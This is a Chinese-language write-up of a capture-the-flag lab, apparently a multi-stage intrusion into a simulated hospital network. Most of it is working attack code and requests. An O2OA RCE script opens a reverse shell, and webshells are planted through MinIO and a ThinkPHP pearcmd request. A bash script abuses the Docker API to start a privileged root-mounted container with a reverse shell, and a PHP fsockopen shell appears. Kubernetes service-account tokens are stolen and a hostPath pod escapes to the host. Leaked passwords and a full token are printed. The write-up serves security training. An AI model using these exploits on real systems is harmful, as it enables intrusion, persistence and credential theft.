flag1 外网39.99.140.177
fscan扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 D:\shentou\fscan>fscan.exe -h 39.99.140.177 -p 1-65535 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 39.99.140.177:22 open 39.99.140.177:80 open 39.99.140.177:8080 open [*] alive ports len is: 3 start vulscan [*] WebTitle http://39.99.140.177 code:200 len:12592 title:广城市人民医院 [*] WebTitle http://39.99.140.177:8080 code:200 len:282 title:None
80端口是一个医院主页,注册功能不能正常使用,应该不是漏洞点
8080端口有个020A 查看登录首页源代码能发现020A版本是9.1.2
搜索发现O2OA常用默认密码为 xadmin/o2(或 xadmin/o2oa@2022) 使用xadmin/o2oa@2022成功登录后台
继续搜索发现o2oa<=v9.1.3存在后台RCE 首先点击服务管理
再点击代码配置-新建代理
填入以下代码,反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var a = mainOutput(); function mainOutput() { var classLoader = Java.type("java.lang.ClassLoader"); var systemClassLoader = classLoader.getSystemClassLoader(); var runtimeMethod = systemClassLoader.loadClass("java.lang.Runtime"); var getRuntime = runtimeMethod.getDeclaredMethod("getRuntime"); var runtime = getRuntime.invoke(null); var exec = runtimeMethod.getDeclaredMethod("exec", Java.type("java.lang.String")); exec.invoke(runtime, "bash -c {echo,YmFza...4mMQ==}|{base64,-d}|{bash,-i}"); //bash -i >& /dev/tcp/127.0.0.1/9090 0>&1 } 或者 var a = mainOutput(); function mainOutput() { var threadClazz = Java.type("java.lang.Thread"); var classLoader = threadClazz.currentThread().getContextClassLoader(); var rtClazz = classLoader.loadClass("java.lang.Runtime"); var stringClazz = classLoader.loadClass("java.lang.String"); var getRuntimeMethod = rtClazz.getMethod("getRuntime"); var execMethod = rtClazz.getMethod("exec", stringClazz); var runtimeObj = getRuntimeMethod.invoke(rtClazz); return execMethod.invoke(runtimeObj, "bash -c {echo,YmFzaCA...gMD4mMQ==}|{base64,-d}|{bash,-i}"); }
填写名称和cron表达式,写好后保存,再点击立即运行即可在vps上接收到shell
根目录下找到flag1
flag2 经过测试,发现靶机是台docker容器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@228d6bc6421b:/opt/o2server# cat /proc/1/cgroup | grep -i docker cat /proc/1/cgroup | grep -i docker 12:rdma:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 11:blkio:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 10:memory:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 9:devices:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 8:perf_event:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 7:cpuset:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 6:cpu,cpuacct:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 5:freezer:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 4:net_cls,net_prio:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 3:hugetlb:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 2:pids:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 1:name=systemd:/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471 0::/docker/228d6bc6421bb68aecd09dbb5a7cc1ef7aa88cfffb35886f3adee732fe70b471
接着回平台,在系统配置-json配置-externalStorageSources (文件存储配置)看到minio的ak-sk以及ip端口 (minio的ak-sk,即aceeskey和secretkey指的应该就是用户和密码)
1 2 3 4 5 6 7 8 9 10 "store": { "minio": { "protocol": "min", "username": "bxBZOXDlizzuujdR", "password": "TGdtqwJbBrEMhCCMDVtlHKU=", "host": "172.22.18.29", "port": 9000, "name": "o2oa" } },
查看/etc/hosts发现目前拿到的Docker容器是172.17.0.2,并且可以访问到172.22.18.29
使用wget传输fscan和frpc到靶机上
fscan扫描
1 2 3 4 5 6 7 start infoscan 172.22.18.29:22 open 172.22.18.29:9000 open [*] alive ports len is: 2 start vulscan [*] WebTitle http://172.22.18.29:9000 code:307 len:43 title:None 跳转url: http://172.22.18.29:9000/minio/ [*] WebTitle http://172.22.18.29:9000/minio/ code:200 len:2281 title:MinIO Browser
frpc.toml
1 2 3 4 5 6 7 8 9 serverAddr = "xxx.xxx.xxx.xxx" serverPort = 7000 [[proxies]] name = "minio-9000" type = "tcp" localIP = "172.22.18.29" localPort = 9000 remotePort = 20033
在vps的20033端口可以看到minio的登录界面
使用此前获得的ak-sk成功登录
查看portal存储桶,发现对应的是开局医院首页的网站代码,那么上传php一句话木马,等待minio跟入口机进行数据同步即可拿到入口机的shell(每十分钟)
使用蚁剑连接,根目录下发现flag2
flag3 ifconfig发现入口机具有内网IP-172.22.18.23
上传fscan,扫描172.22.18.23/24
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 172.22.18.64:80 open 172.22.18.61:80 open 172.22.18.64:22 open 172.22.18.61:22 open 172.22.18.23:80 open 172.22.18.29:22 open 172.22.18.29:9000 open 172.22.18.23:8080 open 172.22.18.61:10250 open 172.22.18.23:22 open [*] WebTitle http://172.22.18.23 code:200 len:12592 title:广城市人民医院 [*] WebTitle http://172.22.18.29:9000 code:307 len:43 title:None 跳转url: http://172.22.18.29:9000/minio/ [*] WebTitle http://172.22.18.64 code:200 len:785 title:Harbor [*] WebTitle http://172.22.18.23:8080 code:200 len:282 title:None [+] InfoScan http://172.22.18.64 [Harbor] [*] WebTitle https://172.22.18.61:10250 code:404 len:19 title:None [*] WebTitle http://172.22.18.61 code:200 len:8710 title:医院内部平台 [*] WebTitle http://172.22.18.29:9000/minio/ code:200 len:2281 title:MinIO Browser [+] PocScan http://172.22.18.64/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
稍微整理一下: 入口机:外网IP-39.99.140.177,内网IP-172.22.18.23 MinIO Browser:内网IP-172.22.18.29 医院内部平台:内网IP-172.22.18.61 Harbor:内网IP-172.22.18.64
先看Harbor,做一下内网穿透
frpc.toml
1 2 3 4 5 6 7 8 9 serverAddr = "xxx.xxx.xxx.xxx" serverPort = 7000 [[proxies]] name = "harbor" type = "tcp" localIP = "172.22.18.64" localPort = 80 remotePort = 20022
Harbor机器存在未授权(CVE-2022-46463),泄露了public/mysql:5.6镜像
首先用frp搭一个socks5隧道 frpc.toml
1 2 3 4 5 6 7 8 [common] server_addr = xxx.xxx.xxx.xxx server_port = 7000 [socks5] type = tcp plugin = socks5 remote_port = 5000
然后用Docker拉取镜像,注意docker pull的代理需要通过systemd进行配置:
1 2 3 4 5 6 7 8 9 10 11 12 systemctl status docker 查看自己的docker.server在哪 输出中的 Loaded 行会显示 docker.service 的路径 vim /lib/systemd/system/docker.service 在 [Service] 部分添加如下内容: [Service] Environment="HTTP_PROXY=socks5://127.0.0.1:5000/" # 配置后重启服务 systemctl daemon-reload systemctl restart docker
如果拉取失败,需要在/etc/docker/daemon.json添加insecure-registries字段,允许 Docker 与指定的非 HTTPS 私有镜像仓库(IP 为 172.22.18.64)进行通信
1 2 3 { "insecure-registries": ["172.22.18.64"] }
配置后重启服务
1 2 systemctl daemon-reload systemctl restart docker
接下来拉取镜像,启动并进入容器内部
1 2 3 docker pull 172.22.18.64/public/mysql:5.6 docker run -itd --name mysql_container 172.22.18.64/public/mysql:5.6 docker exec -it mysql_container /bin/bash
接下来参考下方文章,Minio SSRF打2375创建恶意容器(CVE-2021-21287):
https://zone.huoxian.cn/d/2801-minio-ssrf-docker-api
因为没有curl、wget,所以只能用exec来发包,下方代码一共四步:
创建一个172.22.18.64/public/mysql:5.6镜像的容器,Privileged为true,挂载宿主机的/到容器内的/mnt目录,将响应包中的id保存到/tmp/id(此id为容器id,所以截取一部分即可),此时容器为Create状态
将容器启动,启动容器需要容器id,从/tmp/id中读取即可,此时容器为Running状态
为容器创建一条命令,命令的具体内容为反弹shell到外网入口机的19999端口,将响应包中的id保存到/tmp/id(此id为命令id,必须要截取完整,通过cut命令进行截取),此时命令还未被执行
根据前面截取的命令id执行命令,tty为false表示不交互
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #!/usr/bin/env bash exec 3<>/dev/tcp/172.17.0.1/2375lines=( 'POST /containers/create HTTP/1.1' 'Host: 172.17.0.1:2375' 'Connection: close' 'Content-Type: application/json' 'Content-Length: 133' '' '{"HostName":"remoteCreate","User":"root","Image":"172.22.18.64/public/mysql:5.6","HostConfig":{"Binds":["/:/mnt"],"Privileged":true}}' ) printf '%s\r\n' "${lines[@]} " >&3while read -r data <&3; do echo $data if [[ $data == '{"Id":"' * ]]; then echo $data | cut -c 8-12 > /tmp/idfi done exec 3>&-exec 3<>/dev/tcp/172.17.0.1/2375lines=( "POST /containers/`cat /tmp/id`/start HTTP/1.1" 'Host: 172.17.0.1:2375' 'Connection: close' 'Content-Type: application/x-www-form-urlencoded' 'Content-Length: 0' '' ) printf '%s\r\n' "${lines[@]} " >&3while read -r data <&3; do echo $data done exec 3>&-exec 3<>/dev/tcp/172.17.0.1/2375lines=( "POST /containers/`cat /tmp/id`/exec HTTP/1.1" 'Host: 172.17.0.1:2375' 'Connection: close' 'Content-Type: application/json' 'Content-Length: 75' '' '{"Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/172.22.18.23/19999 0>&1"]}' ) printf '%s\r\n' "${lines[@]} " >&3while read -r data <&3; do echo $data if [[ $data == '{"Id":"' * ]]; then echo $data | cut -c 8-71 > /tmp/idfi done exec 3>&-exec 3<>/dev/tcp/172.17.0.1/2375lines=( "POST /exec/`cat /tmp/id`/start HTTP/1.1" 'Host: 172.17.0.1:2375' 'Connection: close' 'Content-Type: application/json' 'Content-Length: 27' '' '{"Detach":true,"Tty":false}' ) printf '%s\r\n' "${lines[@]} " >&3while read -r data <&3; do echo $data done exec 3>&-
将上方内容做Base64编码,写到Dockerfile里,将Dockerfile保存至入口机的/var/www/html/Dockerfile路径
Dockerfile
1 2 3 4 FROM 172.22.18.64/public/mysql:5.6 RUN echo IyEvdXNyL2Jpbi9lbnYgYmFzaAoKIyAxCmV4ZWMgMzw+L2Rldi90Y3AvMTcyLjE3LjAuMS8yMzc1CmxpbmVzPSgKICAgICdQT1NUIC9jb250YWluZXJzL2NyZWF0ZSBIVFRQLzEuMScKICAgICdIb3N0OiAxNzIuMTcuMC4xOjIzNzUnCiAgICAnQ29ubmVjdGlvbjogY2xvc2UnCiAgICAnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJwogICAgJ0NvbnRlbnQtTGVuZ3RoOiAxMzMnCiAgICAnJwogICAgJ3siSG9zdE5hbWUiOiJyZW1vdGVDcmVhdGUiLCJVc2VyIjoicm9vdCIsIkltYWdlIjoiMTcyLjIyLjE4LjY0L3B1YmxpYy9teXNxbDo1LjYiLCJIb3N0Q29uZmlnIjp7IkJpbmRzIjpbIi86L21udCJdLCJQcml2aWxlZ2VkIjp0cnVlfX0nCikKcHJpbnRmICclc1xyXG4nICIke2xpbmVzW0BdfSIgPiYzCndoaWxlIHJlYWQgLXIgZGF0YSA8JjM7IGRvCiAgICBlY2hvICRkYXRhCiAgICBpZiBbWyAkZGF0YSA9PSAneyJJZCI6IicqIF1dOyB0aGVuCiAgICAgICAgZWNobyAkZGF0YSB8IGN1dCAtYyA4LTEyID4gL3RtcC9pZAogICAgZmkKZG9uZQpleGVjIDM+Ji0KCiMgMgpleGVjIDM8Pi9kZXYvdGNwLzE3Mi4xNy4wLjEvMjM3NQpsaW5lcz0oCiAgICAiUE9TVCAvY29udGFpbmVycy9gY2F0IC90bXAvaWRgL3N0YXJ0IEhUVFAvMS4xIgogICAgJ0hvc3Q6IDE3Mi4xNy4wLjE6MjM3NScKICAgICdDb25uZWN0aW9uOiBjbG9zZScKICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcKICAgICdDb250ZW50LUxlbmd0aDogMCcKICAgICcnCikKcHJpbnRmICclc1xyXG4nICIke2xpbmVzW0BdfSIgPiYzCndoaWxlIHJlYWQgLXIgZGF0YSA8JjM7IGRvCiAgICBlY2hvICRkYXRhCmRvbmUKZXhlYyAzPiYtCgojIDMKZXhlYyAzPD4vZGV2L3RjcC8xNzIuMTcuMC4xLzIzNzUKbGluZXM9KAogICAgIlBPU1QgL2NvbnRhaW5lcnMvYGNhdCAvdG1wL2lkYC9leGVjIEhUVFAvMS4xIgogICAgJ0hvc3Q6IDE3Mi4xNy4wLjE6MjM3NScKICAgICdDb25uZWN0aW9uOiBjbG9zZScKICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nCiAgICAnQ29udGVudC1MZW5ndGg6IDc1JwogICAgJycKICAgICd7IkNtZCI6IFsiL2Jpbi9iYXNoIiwgIi1jIiwgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTcyLjIyLjE4LjIzLzE5OTk5IDA+JjEiXX0nCikKcHJpbnRmICclc1xyXG4nICIke2xpbmVzW0BdfSIgPiYzCndoaWxlIHJlYWQgLXIgZGF0YSA8JjM7IGRvCiAgICBlY2hvICRkYXRhCiAgICBpZiBbWyAkZGF0YSA9PSAneyJJZCI6IicqIF1dOyB0aGVuCiAgICAgICAgZWNobyAkZGF0YSB8IGN1dCAtYyA4LTcxID4gL3RtcC9pZAogICAgZmkKZG9uZQpleGVjIDM+Ji0KCiMgNApleGVjIDM8Pi9kZXYvdGNwLzE3Mi4xNy4wLjEvMjM3NQpsaW5lcz0oCiAgICAiUE9TVCAvZXhlYy9gY2F0IC90bXAvaWRgL3N0YXJ0IEhUVFAvMS4xIgogICAgJ0hvc3Q6IDE3Mi4xNy4wLjE6MjM3NScKICAgICdDb25uZWN0aW9uOiBjbG9zZScKICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nCiAgICAnQ29udGVudC1MZW5ndGg6IDI3JwogICAgJycKICAgICd7IkRldGFjaCI6dHJ1ZSwiVHR5IjpmYWxzZX0nCikKcHJpbnRmICclc1xyXG4nICIke2xpbmVzW0BdfSIgPiYzCndoaWxlIHJlYWQgLXIgZGF0YSA8JjM7IGRvCiAgICBlY2hvICRkYXRhCmRvbmUKZXhlYyAzPiYtCgoK | base64 -d > /tmp/1.sh RUN chmod +x /tmp/1.sh && /tmp/1.sh
将下方index.php保存至入口机的/var/www/html/index.php中
index.php
1 2 <?php header ('Location: http://127.0.0.1:2375/build?remote=http://172.22.18.23/Dockerfile&nocache=true&t=evil:2' , false , 307 );
删除入口机的/var/www/html/index.html(非常重要!),因为Minio的SSRF漏洞默认请求/路径,如果不删除index.html,在index.php和index.html共存时会优先访问index.html,最好在minio上把portal站的index.html也删掉,否则数据同步之后index.html又会在入口机生成
因为靶机的缘故,他有时候会刷新index.html,如果存在index.html我们就重定向不成功,所以我们在/tmp下开启一个php服务放上我们的/tmp/index.php
1 2 3 4 php -S 0.0.0.0:8081 //发包的时候在host字段后面加上8081即可 <?php header('Location: http://127.0.0.1:2375/build?remote=http://172.22.18.23/Dockerfile&nocache=true&t=evil:1', false, 307);
然后就可以打Minio的SSRF漏洞,入口机开启监听,请求包Host修改为入口机内网ip,修改burp的实际发包地址即target为http://vps:20033/(即172.22.18.29:9000)
1 2 3 4 5 6 7 POST /minio/webrpc HTTP/1.1 Host: 172.22.18.23 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Content-Type: application/json Content-Length: 76 {"id":1,"jsonrpc":"2.0","params":{"token":"Test"},"method":"web.LoginSTS"}
即可收到反弹shell
这里补充说明一下,一开始在蚁剑上属于是伪终端,所以为了开启监听最好是升级为交互式终端,以下是升级为交互式终端的流程: 首先使用php反弹shell 1.php
1 2 3 4 5 6 7 <?php $ip = 'xxx.xxx.xxx.xxx' ;$port = 9090 ;$sock = fsockopen ($ip , $port );$proc = proc_open ('/bin/sh' , array (0 => $sock , 1 => $sock , 2 => $sock ), $pipes );?>
攻击机起监听,然后用之前写的一句话木马执行php 1.php即可
反弹shell后
获取半交互式 Shell(创建伪终端) (1):利用 Python 的 pty 模块 python -c ‘import pty; pty.spawn(“/bin/bash”)’ 由于靶机没用python,故作废 (2):借助 script 命令 script -qc /bin/bash /dev/null 经测试这种方法可以用 (3):运用 socat 工具 socat PTY,link=/tmp/pty0,raw,echo=0 EXEC:”/bin/bash” 没成功,不知道为啥
升级为全交互式 Shell(终端属性的优化) (1):获取半交互式 Shell 使用上述任一方法创建基础会话。 (2):挂起当前会话 按 Ctrl + Z,将 Shell 进程挂起到后台(发送 SIGTSTP 信号),释放终端控制。 (3):调整终端模式并恢复 运行以下命令: stty raw -echo; fg (4):设置终端类型 定义终端类型以支持高级功能: export TERM=xterm-256color (5):指定默认 Shell 设置 Shell 类型并启用历史记录: export SHELL=/bin/bash (6):加载配置文件 加载 Bash 默认配置: source /etc/skel/.bashrc
这样就获得了一个交互式shell
在/mnt/flag.txt找到flag3
顺手写个公钥
首先本机生成
1 2 3 4 ssh-keygen -t rsa root@iZf8ze93nwj9zenhhgk508Z:/home/test# cat /root/.ssh/id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/cLKx3VFmrhhVKqesaPH7bbP9wFzxckpLBZdrn0Khq/+g+kWrnU00g20pEu1u5xuR9oUy+YHc2rKAOXhST1MA/VD7nAHOZjf2iwuD10YONNBSJQ0g/v+KMzMn3rTeoX5D0oQcHoyisnOgJf17/8RInSnfXVrZ87xnbgYkXBneBl1RHedaAqodXZmM1INBvEcUQwtrEYK0GAw0vc/8dAt3knryMzhhjlS8zYXP7xFEJSL9cjcfXTeDT/v3AxX6gKv5evvLGRwJ5IvEreU1hNMEzoYt8LrDhsyn/n8SMObsAt9Zgq+mrEkq7NoFGpFegbL0qKBo9Ll/xvoFPC4t6U7LEJHLMCtIxjcvBZAn2KR+wRZWAKJ19rXt8Q09/BVzdzSt521pEZHWhb4ssXek5Q+Wg/3NQsK7fcqnZDZqfz3rtdK93tSNacQ9pGt9Ba0CkxxHwQeJz2ldzJtGNnPpInxukdprAQZbXxKG59NgD1v6IX0WR65PFx6YCrIyaeqoRRs= root@iZf8ze93nwj9zenhhgk508Z
往靶机里写入
1 2 root@remoteCreate:/# echo -e '\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/cLKx3VFmrhhVKqesaPH7bbP9wFzxckpLBZdrn0Khq/+g+kWrnU00g20pEu1u5xuR9oUy+YHc2rKAOXhST1MA/VD7nAHOZjf2iwuD10YONNBSJQ0g/v+KMzMn3rTeoX5D0oQcHoyisnOgJf17/8RInSnfXVrZ87xnbgYkXBneBl1RHedaAqodXZmM1INBvEcUQwtrEYK0GAw0vc/8dAt3knryMzhhjlS8zYXP7xFEJSL9cjcfXTeDT/v3AxX6gKv5evvLGRwJ5IvEreU1hNMEzoYt8LrDhsyn/n8SMObsAt9Zgq+mrEkq7NoFGpFegbL0qKBo9Ll/xvoFPC4t6U7LEJHLMCtIxjcvBZAn2KR+wRZWAKJ19rXt8Q09/BVzdzSt521pEZHWhb4ssXek5Q+Wg/3NQsK7fcqnZDZqfz3rtdK93tSNacQ9pGt9Ba0CkxxHwQeJz2ldzJtGNnPpInxukdprAQZbXxKG59NgD1v6IX0WR65PFx6YCrIyaeqoRRs= root@iZf8ze93nwj9zenhhgk508Z\n\n' >> /mnt/root/.ssh/authorized_keys <9zenhhgk508Z\n\n' >> /mnt/root/.ssh/authorized_keys
然后攻击机就可以ssh连接上去了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 root@iZf8ze93nwj9zenhhgk508Z:/home/test# proxychains ssh root@172.22.18.29 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:5000-<><>-172.22.18.29:22-<><>-OK The authenticity of host '172.22.18.29 (172.22.18.29)' can't be established. ECDSA key fingerprint is SHA256:DU7ZVw22N6F/YD8Lgtt4J++nAsiyAQTs4k3hePGXr5E. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '172.22.18.29' (ECDSA) to the list of known hosts. Enter passphrase for key '/root/.ssh/id_rsa': Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-189-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro Welcome to Alibaba Cloud Elastic Compute Service ! Last login: Fri Sep 13 11:28:28 2024 from 172.22.18.23 root@minio:~#
flag4,5,6 继续看医院内部平台-172.22.18.61
首先用fscan扫一下全端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 [*] 扫描类型: all, 目标端口: 1-65535 [*] 开始信息扫描... [*] 最终有效主机数量: 1 [*] 共解析 65535 个有效端口 [+] 端口开放 172.22.18.61:80 [+] 端口开放 172.22.18.61:22 [+] 端口开放 172.22.18.61:111 [+] 端口开放 172.22.18.61:179 [+] 端口开放 172.22.18.61:9253 [+] 端口开放 172.22.18.61:9353 [+] 端口开放 172.22.18.61:10249 [+] 端口开放 172.22.18.61:10248 [+] 端口开放 172.22.18.61:10256 [+] 端口开放 172.22.18.61:10250 [+] 端口开放 172.22.18.61:30020 [+] 端口开放 172.22.18.61:32686 [+] 存活端口数量: 12 [*] 开始漏洞扫描... [!] 扫描错误 172.22.18.61:179 - Get "http://172.22.18.61:179": read tcp 172.22.18.23:36684->172.22.18.61:179: read: connection reset by peer [*] 网站标题 http://172.22.18.61:9253 状态码:404 长度:19 标题:无标题 [*] 网站标题 http://172.22.18.61:9353 状态码:404 长度:19 标题:无标题 [*] 网站标题 https://172.22.18.61:32686 状态码:200 长度:1422 标题:Kubernetes Dashboard [+] 发现指纹 目标: https://172.22.18.61:32686 指纹: [Kubernetes] [!] 扫描错误 172.22.18.61:111 - Get "http://172.22.18.61:111": read tcp 172.22.18.23:35998->172.22.18.61:111: read: connection reset by peer [*] 网站标题 http://172.22.18.61:10249 状态码:404 长度:19 标题:无标题 [*] 网站标题 http://172.22.18.61:10256 状态码:404 长度:19 标题:无标题 [*] 网站标题 http://172.22.18.61:10248 状态码:404 长度:19 标题:无标题 [*] 网站标题 https://172.22.18.61:10250 状态码:404 长度:19 标题:无标题 [*] 网站标题 http://172.22.18.61:30020 状态码:200 长度:8710 标题:医院内部平台 [*] 网站标题 http://172.22.18.61 状态码:200 长度:8710 标题:医院内部平台 [!] 扫描错误 172.22.18.61:22 - 扫描总时间超时: context deadline exceeded [+] 扫描已完成: 12/12 [*] 扫描结束,耗时: 16.660769694s
看到有k8s控制台
frpc.toml
1 2 3 4 5 6 7 8 9 serverAddr = "xxx.xxx.xxx.xxx" serverPort = 7000 [[proxies]] name = "jizhi" type = "tcp" localIP = "172.22.18.61" localPort = 80 remotePort = 20022
访问不存在路径可以得知是极致cms,用的thinkphp框架 用ThinkPHP6.0多语言RCE的漏洞打,区别是参数为l
1 2 3 4 5 6 7 8 9 GET /index.php?l=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=eval($_POST[1]);?>+/var/www/html/sim.php HTTP/1.1 Host: xxx.xxx.xxx.xxx:20022 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Priority: u=0, i
蚁剑连接后在配置文件看到mysql账密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php return array ( 'db' => array ( 'host' => 'mysql', 'dbname' => 'jizhicms', 'username' => 'root', 'password' => 'Mysqlroot@!123', 'prefix' => 'jz_', 'port' => '3306', ), 'redis' => array ( 'SAVE_HANDLE' => 'Redis', 'HOST' => '127.0.0.1', 'PORT' => 6379, 'AUTH' => NULL, 'TIMEOUT' => 0, 'RESERVED' => NULL, 'RETRY_INTERVAL' => 100, 'RECONNECT' => false, 'EXPIRE' => 1800, ), 'APP_DEBUG' => true, ); ?>
连接MySQL
查看IP
这里显示的ip并不是mysql服务器所在的ip,而是当前连接的客户端IP,现在是通过web服务器去连接mysql,所以显示的ip应该是极致cms那台的ip
接着回去webshell看一下主机信息,发现是在Kubernetes中,结合hostname,该机器应该是某个node用来运行web服务的container(这里看到172.20.166.134对应的主机名是web-app-d57c8d67-rm2nk,也印证了前面ip是web服务器而非mysql服务器的ip)
1 2 3 4 5 6 7 8 9 (www-data:/var/www/html) $ cat /etc/hosts # Kubernetes-managed hosts file. 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet fe00::0 ip6-mcastprefix fe00::1 ip6-allnodes fe00::2 ip6-allrouters 172.20.166.134 web-app-d57c8d67-rm2nk
用默认挂载路径读一下token,在mysql用load_file函数读取文件,拿到一个sa token
1 2 3 select load_file("/var/run/secrets/kubernetes.io/serviceaccount/token"); eyJhbGciOiJSUzI1NiIsImtpZCI6IlRSaDd3eFBhYXFNTkg5OUh0TnNwcW00c0Zpand4LUliXzNHRU1raXFjTzQifQ.eyJhdWQiOlsiYXBpIiwiaXN0aW8tY2EiXSwiZXhwIjoxNzgyODMyMzUzLCJpYXQiOjE3NTEyOTYzNTMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2YyIsImp0aSI6IjllZmZjN2M1LTFkMTUtNDEzMS1iNzI2LTY4Zjc0M2RiMDQyMiIsImt1YmVybmV0ZXMuaW8iOnsibmFtZXNwYWNlIjoiZGVmYXVsdCIsIm5vZGUiOnsibmFtZSI6Im5vZGUyIiwidWlkIjoiYjAzYjUwZTgtOTBkOS00YjdkLWFmM2EtMGZiMjY3MWUyNjFmIn0sInBvZCI6eyJuYW1lIjoibXlzcWwtNmRmODc2ZDZkYy1mNnFmZyIsInVpZCI6ImNmMzMyYjUxLWM2NDYtNDExNi04ZGRhLTFmMDJiZTAyM2FmZSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoibXlzcWwiLCJ1aWQiOiJhNTMyNDZlNy0yZDFkLTQxMzMtOGM4OS05ZGNhMWI5YmIxNGYifSwid2FybmFmdGVyIjoxNzUxMjk5OTYwfSwibmJmIjoxNzUxMjk2MzUzLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpteXNxbCJ9.vqtAXGT3fcb6ixCP_BSJkXlHb_sJnZ-eX5arya505MSjZTRDYU52JhvLZy2q3VE6DDaR2uMpPaYmcxmRZ1ySkwq4jrf2SowRHL_moAsylMJFATdVp7Zvi9aHoZEHOdS15A9GLly_jJX0Lqp-4yrXiixdy_aPNDHWFIwhpydN4s-TcdhuMlbNKIOF9FcgJ-4zB0k2xkGFvvIcF6jAHBkXtEb3lHDe1vOwyk-y8H9iNCz_ptJrHmtBIlDbWNrHYCTqdWfeVOutE5mHt3Zozc2LF5hejbEBvLJb80e1DkEWLe9F6IWbcCtm2nOWRFVWVQjJe-9D0aEJiyKCetefMKFQ4w
拿极致那台web服务器在同样位置读取token,发现不一样,说明确实是站库分离的,经过测试MySQL中serviceaccount的token权限较高
Kubernetes 打法一 kubectl 容器挂载逃逸 环境搭建过于复杂,暂未复现
Kubernetes 打法二 Kubernetes Dashboard 容器挂载逃逸
之前扫到 Kubernetes Dashboard 端口为32686(Dashboard 默认端口为 30000-32767 范围内的随机端口)
用mysql服务器或者极致cms服务器读取的token都可以登录,但是用极致那台token进去之后权限很小,基本什么都看不到,mysql服务器读的token权限就很高
这里看到node1节点跟node2节点分别有个pod,一台web服务器,一台mysql服务器,它们的 hostname 正好就是前面那两台
编写yaml,创建一个容器挂载逃逸(node1节点的镜像用 jizhicms 或者 mysql都可以)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 apiVersion: v1 kind: Pod metadata: name: simho spec: containers: - image: 172.22.18.64/hospital/jizhicms:2.5.0 name: test-container volumeMounts: - mountPath: /simho name: test-volume volumes: - name: test-volume hostPath: path: /
可以在 Dashboard 直接管理shell,逃逸到node1节点的宿主机后在根目录看到第四个flag
如法炮制,继续写yaml,逃逸node2跟master节点,直接通过Dashboard自带shell查看flag即可
注意:这里node2跟master节点如果镜像继续直接用172.22.18.64/hospital/jizhicms:2.5.0会创建容器失败,得到如下报错,因为该镜像是私有镜像,无法直接拉取
1 Failed to pull image "172.22.18.64/hospital/jizhicms:2.5.0": failed to pull and unpack image "172.22.18.64/hospital/jizhicms:2.5.0": failed to resolve reference "172.22.18.64/hospital/jizhicms:2.5.0": pull access denied, repository does not exist or may require authorization: authorization failed: no basic auth credentials
